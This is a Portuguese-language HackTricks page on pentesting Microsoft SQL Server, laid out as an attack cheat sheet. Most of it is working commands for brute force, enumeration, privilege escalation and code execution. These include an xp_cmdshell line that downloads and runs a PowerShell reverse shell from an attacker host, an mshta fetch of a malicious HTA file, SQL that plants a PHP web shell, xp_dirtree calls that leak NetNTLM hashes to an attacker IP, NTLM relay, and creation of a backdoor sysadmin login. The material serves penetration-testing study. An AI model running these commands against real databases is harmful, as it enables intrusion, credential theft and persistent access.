mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
670 lines
32 KiB
Markdown
670 lines
32 KiB
Markdown
|
# 1433 - Pentesting MSSQL - Microsoft SQL Server
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Informações Básicas
|
|||
|
|
|||
|
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
|||
|
|
|||
|
> **Microsoft SQL Server** é um sistema de gerenciamento de **banco de dados relacional** desenvolvido pela Microsoft. Como um servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software—que podem ser executadas no mesmo computador ou em outro computador através de uma rede (incluindo a Internet).\\
|
|||
|
|
|||
|
**Porta padrão:** 1433
|
|||
|
```
|
|||
|
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
|||
|
```
|
|||
|
### **Tabelas de Sistema MS-SQL Padrão**
|
|||
|
|
|||
|
* **Banco de Dados master**: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server.
|
|||
|
* **Banco de Dados msdb**: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e trabalhos.
|
|||
|
* **Banco de Dados model**: Serve como um modelo para cada novo banco de dados na instância do SQL Server, onde quaisquer alterações como tamanho, collation, modelo de recuperação e mais são refletidas nos bancos de dados recém-criados.
|
|||
|
* **Banco de Dados Resource**: Um banco de dados somente leitura que abriga objetos de sistema que acompanham o SQL Server. Esses objetos, embora armazenados fisicamente no banco de dados Resource, são apresentados logicamente no esquema sys de cada banco de dados.
|
|||
|
* **Banco de Dados tempdb**: Serve como uma área de armazenamento temporário para objetos transitórios ou conjuntos de resultados intermediários.
|
|||
|
|
|||
|
## Enumeração
|
|||
|
|
|||
|
### Enumeração Automática
|
|||
|
|
|||
|
Se você não souber nada sobre o serviço:
|
|||
|
```bash
|
|||
|
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
|||
|
msf> use auxiliary/scanner/mssql/mssql_ping
|
|||
|
```
|
|||
|
{% hint style="info" %}
|
|||
|
Se você **não** **tiver credenciais**, pode tentar adivinhá-las. Você pode usar nmap ou metasploit. Tenha cuidado, você pode **bloquear contas** se falhar no login várias vezes usando um nome de usuário existente.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
#### Metasploit (precisa de credenciais)
|
|||
|
```bash
|
|||
|
#Set USERNAME, RHOSTS and PASSWORD
|
|||
|
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
|||
|
|
|||
|
#Steal NTLM
|
|||
|
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
|
|||
|
|
|||
|
#Info gathering
|
|||
|
msf> use admin/mssql/mssql_enum #Security checks
|
|||
|
msf> use admin/mssql/mssql_enum_domain_accounts
|
|||
|
msf> use admin/mssql/mssql_enum_sql_logins
|
|||
|
msf> use auxiliary/admin/mssql/mssql_findandsampledata
|
|||
|
msf> use auxiliary/scanner/mssql/mssql_hashdump
|
|||
|
msf> use auxiliary/scanner/mssql/mssql_schemadump
|
|||
|
|
|||
|
#Search for insteresting data
|
|||
|
msf> use auxiliary/admin/mssql/mssql_findandsampledata
|
|||
|
msf> use auxiliary/admin/mssql/mssql_idf
|
|||
|
|
|||
|
#Privesc
|
|||
|
msf> use exploit/windows/mssql/mssql_linkcrawler
|
|||
|
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
|
|||
|
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
|
|||
|
|
|||
|
#Code execution
|
|||
|
msf> use admin/mssql/mssql_exec #Execute commands
|
|||
|
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
|||
|
|
|||
|
#Add new admin user from meterpreter session
|
|||
|
msf> use windows/manage/mssql_local_auth_bypass
|
|||
|
```
|
|||
|
### [**Força bruta**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
|||
|
|
|||
|
### Enumeração Manual
|
|||
|
|
|||
|
#### Login
|
|||
|
|
|||
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
|||
|
```shell
|
|||
|
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
|
|||
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
|
|||
|
|
|||
|
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
|
|||
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
|
|||
|
|
|||
|
# Bruteforce using tickets against the hosts listed on the hosts.txt
|
|||
|
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
|
|||
|
|
|||
|
# Bruteforce using passwords against the hosts listed on the hosts.txt
|
|||
|
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
|
|||
|
|
|||
|
# Bruteforce using hashes against the hosts listed on the hosts.txt
|
|||
|
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
|
|||
|
```
|
|||
|
|
|||
|
```bash
|
|||
|
# Using Impacket mssqlclient.py
|
|||
|
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
|||
|
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
|
|||
|
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
|
|||
|
|
|||
|
# Using sqsh
|
|||
|
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
|
|||
|
## In case Windows Auth using "." as domain name for local user
|
|||
|
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
|||
|
## In sqsh you need to use GO after writting the query to send it
|
|||
|
1> select 1;
|
|||
|
2> go
|
|||
|
```
|
|||
|
#### Enumeração Comum
|
|||
|
```sql
|
|||
|
# Get version
|
|||
|
select @@version;
|
|||
|
# Get user
|
|||
|
select user_name();
|
|||
|
# Get databases
|
|||
|
SELECT name FROM master.dbo.sysdatabases;
|
|||
|
# Use database
|
|||
|
USE master
|
|||
|
|
|||
|
#Get table names
|
|||
|
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
|
|||
|
#List Linked Servers
|
|||
|
EXEC sp_linkedservers
|
|||
|
SELECT * FROM sys.servers;
|
|||
|
#List users
|
|||
|
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
|
|||
|
#Create user with sysadmin privs
|
|||
|
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
|||
|
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
|
|||
|
|
|||
|
#Enumerate links
|
|||
|
enum_links
|
|||
|
#Use a link
|
|||
|
use_link [NAME]
|
|||
|
```
|
|||
|
#### Obter Usuário
|
|||
|
|
|||
|
{% content-ref url="types-of-mssql-users.md" %}
|
|||
|
[types-of-mssql-users.md](types-of-mssql-users.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
```sql
|
|||
|
# Get all the users and roles
|
|||
|
select * from sys.database_principals;
|
|||
|
## This query filters a bit the results
|
|||
|
select name,
|
|||
|
create_date,
|
|||
|
modify_date,
|
|||
|
type_desc as type,
|
|||
|
authentication_type_desc as authentication_type,
|
|||
|
sid
|
|||
|
from sys.database_principals
|
|||
|
where type not in ('A', 'R')
|
|||
|
order by name;
|
|||
|
|
|||
|
## Both of these select all the users of the current database (not the server).
|
|||
|
## Interesting when you cannot acces the table sys.database_principals
|
|||
|
EXEC sp_helpuser
|
|||
|
SELECT * FROM sysusers
|
|||
|
```
|
|||
|
#### Obter Permissões
|
|||
|
|
|||
|
1. **Securable:** Definido como os recursos gerenciados pelo SQL Server para controle de acesso. Estes são categorizados em:
|
|||
|
* **Servidor** – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções de servidor.
|
|||
|
* **Banco de Dados** – Exemplos abrangem função de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários.
|
|||
|
* **Esquema** – Inclui tabelas, visões, procedimentos, funções, sinônimos, etc.
|
|||
|
2. **Permissão:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
|
|||
|
* **Nível de Servidor** usando logins
|
|||
|
* **Nível de Banco de Dados** usando usuários
|
|||
|
3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securable. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securables é exercido através da concessão ou negação de permissões ou pela inclusão de logins e usuários em funções equipadas com direitos de acesso.
|
|||
|
```sql
|
|||
|
# Show all different securables names
|
|||
|
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
|||
|
# Show all possible permissions in MSSQL
|
|||
|
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
|
|||
|
# Get all my permissions over securable type SERVER
|
|||
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
|
|||
|
# Get all my permissions over a database
|
|||
|
USE <database>
|
|||
|
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
|
|||
|
# Get members of the role "sysadmin"
|
|||
|
Use master
|
|||
|
EXEC sp_helpsrvrolemember 'sysadmin';
|
|||
|
# Get if the current user is sysadmin
|
|||
|
SELECT IS_SRVROLEMEMBER('sysadmin');
|
|||
|
# Get users that can run xp_cmdshell
|
|||
|
Use master
|
|||
|
EXEC sp_helprotect 'xp_cmdshell'
|
|||
|
```
|
|||
|
## Truques
|
|||
|
|
|||
|
### Executar Comandos do SO
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
Observe que, para poder executar comandos, não é apenas necessário ter **`xp_cmdshell`** **habilitado**, mas também ter a **permissão EXECUTE na procedure armazenada `xp_cmdshell`**. Você pode descobrir quem (exceto sysadmins) pode usar **`xp_cmdshell`** com:
|
|||
|
```sql
|
|||
|
Use master
|
|||
|
EXEC sp_helprotect 'xp_cmdshell'
|
|||
|
```
|
|||
|
{% endhint %}
|
|||
|
```bash
|
|||
|
# Username + Password + CMD command
|
|||
|
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
|
|||
|
# Username + Hash + PS command
|
|||
|
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
|
|||
|
|
|||
|
# Check if xp_cmdshell is enabled
|
|||
|
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
|
|||
|
|
|||
|
# This turns on advanced options and is needed to configure xp_cmdshell
|
|||
|
sp_configure 'show advanced options', '1'
|
|||
|
RECONFIGURE
|
|||
|
#This enables xp_cmdshell
|
|||
|
sp_configure 'xp_cmdshell', '1'
|
|||
|
RECONFIGURE
|
|||
|
|
|||
|
#One liner
|
|||
|
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
|||
|
|
|||
|
# Quickly check what the service account is via xp_cmdshell
|
|||
|
EXEC master..xp_cmdshell 'whoami'
|
|||
|
# Get Rev shell
|
|||
|
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
|
|||
|
|
|||
|
# Bypass blackisted "EXEC xp_cmdshell"
|
|||
|
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
|||
|
```
|
|||
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
|||
|
```shell
|
|||
|
# Executing custom assembly on the current server with windows authentication and executing hostname command
|
|||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
|
|||
|
|
|||
|
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
|
|||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
|
|||
|
|
|||
|
# Executing the hostname command using stored procedures on the linked SRV01 server
|
|||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
|
|||
|
|
|||
|
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
|||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
|||
|
```
|
|||
|
### Roubar hash NetNTLM / Ataque de Relay
|
|||
|
|
|||
|
Você deve iniciar um **servidor SMB** para capturar o hash usado na autenticação (`impacket-smbserver` ou `responder`, por exemplo).
|
|||
|
```bash
|
|||
|
xp_dirtree '\\<attacker_IP>\any\thing'
|
|||
|
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
|||
|
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
|
|||
|
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
|
|||
|
|
|||
|
# Capture hash
|
|||
|
sudo responder -I tun0
|
|||
|
sudo impacket-smbserver share ./ -smb2support
|
|||
|
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
|||
|
```
|
|||
|
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
|
|||
|
```shell
|
|||
|
# Issuing NTLM relay attack on the SRV01 server
|
|||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
|
|||
|
|
|||
|
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
|
|||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
|
|||
|
|
|||
|
# Issuing NTLM relay attack on the local server with custom command
|
|||
|
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
|||
|
```
|
|||
|
{% hint style="warning" %}
|
|||
|
Você pode verificar quem (além dos sysadmins) tem permissões para executar essas funções MSSQL com:
|
|||
|
```sql
|
|||
|
Use master;
|
|||
|
EXEC sp_helprotect 'xp_dirtree';
|
|||
|
EXEC sp_helprotect 'xp_subdirs';
|
|||
|
EXEC sp_helprotect 'xp_fileexist';
|
|||
|
```
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
Usando ferramentas como **responder** ou **Inveigh**, é possível **roubar o hash NetNTLM**.\
|
|||
|
Você pode ver como usar essas ferramentas em:
|
|||
|
|
|||
|
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
|||
|
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### Abusando de Links de Confiança do MSSQL
|
|||
|
|
|||
|
[**Leia este post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar mais informações sobre como abusar dessa funcionalidade:**
|
|||
|
|
|||
|
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
|||
|
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
### **Escrever Arquivos**
|
|||
|
|
|||
|
Para escrever arquivos usando `MSSQL`, precisamos **habilitar** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), o que requer privilégios de administrador, e então executar alguns procedimentos armazenados para criar o arquivo:
|
|||
|
```bash
|
|||
|
# Enable Ole Automation Procedures
|
|||
|
sp_configure 'show advanced options', 1
|
|||
|
RECONFIGURE
|
|||
|
|
|||
|
sp_configure 'Ole Automation Procedures', 1
|
|||
|
RECONFIGURE
|
|||
|
|
|||
|
# Create a File
|
|||
|
DECLARE @OLE INT
|
|||
|
DECLARE @FileID INT
|
|||
|
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
|
|||
|
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
|
|||
|
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
|
|||
|
EXECUTE sp_OADestroy @FileID
|
|||
|
EXECUTE sp_OADestroy @OLE
|
|||
|
```
|
|||
|
### **Ler arquivo com** OPENROWSET
|
|||
|
|
|||
|
Por padrão, `MSSQL` permite leitura de arquivo **em qualquer arquivo no sistema operacional ao qual a conta tem acesso de leitura**. Podemos usar a seguinte consulta SQL:
|
|||
|
```sql
|
|||
|
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
|||
|
```
|
|||
|
No entanto, a opção **`BULK`** requer a permissão **`ADMINISTER BULK OPERATIONS`** ou **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
|||
|
```sql
|
|||
|
# Check if you have it
|
|||
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
|||
|
```
|
|||
|
#### Vetor baseado em erro para SQLi:
|
|||
|
```
|
|||
|
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
|||
|
```
|
|||
|
### **RCE/Leitura de arquivos executando scripts (Python e R)**
|
|||
|
|
|||
|
MSSQL pode permitir que você execute **scripts em Python e/ou R**. Este código será executado por um **usuário diferente** do que está usando **xp\_cmdshell** para executar comandos.
|
|||
|
|
|||
|
Exemplo tentando executar um **'R'** _"Hellow World!"_ **não funcionando**:
|
|||
|
|
|||
|
![](<../../.gitbook/assets/image (393).png>)
|
|||
|
|
|||
|
Exemplo usando python configurado para realizar várias ações:
|
|||
|
```sql
|
|||
|
# Print the user being used (and execute commands)
|
|||
|
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
|||
|
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
|
|||
|
#Open and read a file
|
|||
|
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
|
|||
|
#Multiline
|
|||
|
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
|
|||
|
import sys
|
|||
|
print(sys.version)
|
|||
|
'
|
|||
|
GO
|
|||
|
```
|
|||
|
### Ler Registro
|
|||
|
|
|||
|
Microsoft SQL Server fornece **múltiplas procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
|||
|
|
|||
|
| **Regular** | **Ciente da Instância** |
|
|||
|
| ---------------------------- | -------------------------------------- |
|
|||
|
| sys.xp\_regread | sys.xp\_instance\_regread |
|
|||
|
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
|||
|
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
|
|||
|
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
|
|||
|
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
|
|||
|
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
|
|||
|
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
|
|||
|
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
|
|||
|
```sql
|
|||
|
# Example read registry
|
|||
|
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
|
|||
|
# Example write and then read registry
|
|||
|
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
|
|||
|
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
|
|||
|
# Example to check who can use these functions
|
|||
|
Use master;
|
|||
|
EXEC sp_helprotect 'xp_regread';
|
|||
|
EXEC sp_helprotect 'xp_regwrite';
|
|||
|
```
|
|||
|
Para **mais exemplos** confira a [**fonte original**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
|||
|
|
|||
|
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
|||
|
|
|||
|
É possível **carregar um .NET dll dentro do MSSQL com funções personalizadas**. Isso, no entanto, **requer acesso `dbo`** então você precisa de uma conexão com o banco de dados **como `sa` ou um papel de Administrador**.
|
|||
|
|
|||
|
[**Seguindo este link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
|
|||
|
|
|||
|
### RCE com `autoadmin_task_agents`
|
|||
|
|
|||
|
De acordo[ **com este post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), também é possível carregar um dll remoto e fazer o MSSQL executá-lo com algo como:
|
|||
|
|
|||
|
{% code overflow="wrap" %}
|
|||
|
```sql
|
|||
|
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
Com:
|
|||
|
```csharp
|
|||
|
using Microsoft.SqlServer.SmartAdmin;
|
|||
|
using System;
|
|||
|
using System.Diagnostics;
|
|||
|
|
|||
|
namespace Class1
|
|||
|
{
|
|||
|
public class Class1 : TaskAgent
|
|||
|
{
|
|||
|
public Class1()
|
|||
|
{
|
|||
|
|
|||
|
Process process = new Process();
|
|||
|
process.StartInfo.FileName = "cmd.exe";
|
|||
|
process.StartInfo.Arguments = "/c ping localhost -t";
|
|||
|
process.StartInfo.UseShellExecute = false;
|
|||
|
process.StartInfo.RedirectStandardOutput = true;
|
|||
|
process.Start();
|
|||
|
process.WaitForExit();
|
|||
|
}
|
|||
|
|
|||
|
public override void DoWork()
|
|||
|
{
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
public override void ExternalJob(string command, LogBaseService jobLogger)
|
|||
|
{
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
public override void Start(IServicesFactory services)
|
|||
|
{
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
public override void Stop()
|
|||
|
{
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
public void Test()
|
|||
|
{
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
### Outras maneiras de RCE
|
|||
|
|
|||
|
Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Trabalhos do SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
|||
|
|
|||
|
## Escalação de Privilégios MSSQL
|
|||
|
|
|||
|
### De db\_owner para sysadmin
|
|||
|
|
|||
|
Se um **usuário regular** receber o papel **`db_owner`** sobre o **banco de dados pertencente a um usuário admin** (como **`sa`**) e esse banco de dados estiver configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **privesc** porque **procedimentos armazenados** criados lá podem **executar** como o proprietário (**admin**).
|
|||
|
```sql
|
|||
|
# Get owners of databases
|
|||
|
SELECT suser_sname(owner_sid) FROM sys.databases
|
|||
|
|
|||
|
# Find trustworthy databases
|
|||
|
SELECT a.name,b.is_trustworthy_on
|
|||
|
FROM master..sysdatabases as a
|
|||
|
INNER JOIN sys.databases as b
|
|||
|
ON a.name=b.name;
|
|||
|
|
|||
|
# Get roles over the selected database (look for your username as db_owner)
|
|||
|
USE <trustworthy_db>
|
|||
|
SELECT rp.name as database_role, mp.name as database_user
|
|||
|
from sys.database_role_members drm
|
|||
|
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
|
|||
|
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
|
|||
|
|
|||
|
# If you found you are db_owner of a trustworthy database, you can privesc:
|
|||
|
--1. Create a stored procedure to add your user to sysadmin role
|
|||
|
USE <trustworthy_db>
|
|||
|
|
|||
|
CREATE PROCEDURE sp_elevate_me
|
|||
|
WITH EXECUTE AS OWNER
|
|||
|
AS
|
|||
|
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
|
|||
|
|
|||
|
--2. Execute stored procedure to get sysadmin role
|
|||
|
USE <trustworthy_db>
|
|||
|
EXEC sp_elevate_me
|
|||
|
|
|||
|
--3. Verify your user is a sysadmin
|
|||
|
SELECT is_srvrolemember('sysadmin')
|
|||
|
```
|
|||
|
Você pode usar um módulo **metasploit**:
|
|||
|
```bash
|
|||
|
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
|||
|
```
|
|||
|
Ou um **script PS**:
|
|||
|
```powershell
|
|||
|
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
|||
|
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
|||
|
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
|||
|
```
|
|||
|
### Impersonação de outros usuários
|
|||
|
|
|||
|
SQL Server tem uma permissão especial, chamada **`IMPERSONATE`**, que **permite que o usuário em execução assuma as permissões de outro usuário** ou login até que o contexto seja redefinido ou a sessão termine.
|
|||
|
```sql
|
|||
|
# Find users you can impersonate
|
|||
|
SELECT distinct b.name
|
|||
|
FROM sys.server_permissions a
|
|||
|
INNER JOIN sys.server_principals b
|
|||
|
ON a.grantor_principal_id = b.principal_id
|
|||
|
WHERE a.permission_name = 'IMPERSONATE'
|
|||
|
# Check if the user "sa" or any other high privileged user is mentioned
|
|||
|
|
|||
|
# Impersonate sa user
|
|||
|
EXECUTE AS LOGIN = 'sa'
|
|||
|
SELECT SYSTEM_USER
|
|||
|
SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
|
|
|||
|
# If you can't find any users, make sure to check for links
|
|||
|
enum_links
|
|||
|
# If there is a link of interest, re-run the above steps on each link
|
|||
|
use_link [NAME]
|
|||
|
```
|
|||
|
{% hint style="info" %}
|
|||
|
Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros **bancos de dados** ou servidores vinculados.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
Observe que, uma vez que você é sysadmin, pode se passar por qualquer outro:
|
|||
|
```sql
|
|||
|
-- Impersonate RegUser
|
|||
|
EXECUTE AS LOGIN = 'RegUser'
|
|||
|
-- Verify you are now running as the the MyUser4 login
|
|||
|
SELECT SYSTEM_USER
|
|||
|
SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
|
-- Change back to sa
|
|||
|
REVERT
|
|||
|
```
|
|||
|
Você pode realizar este ataque com um módulo **metasploit**:
|
|||
|
```bash
|
|||
|
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
|||
|
```
|
|||
|
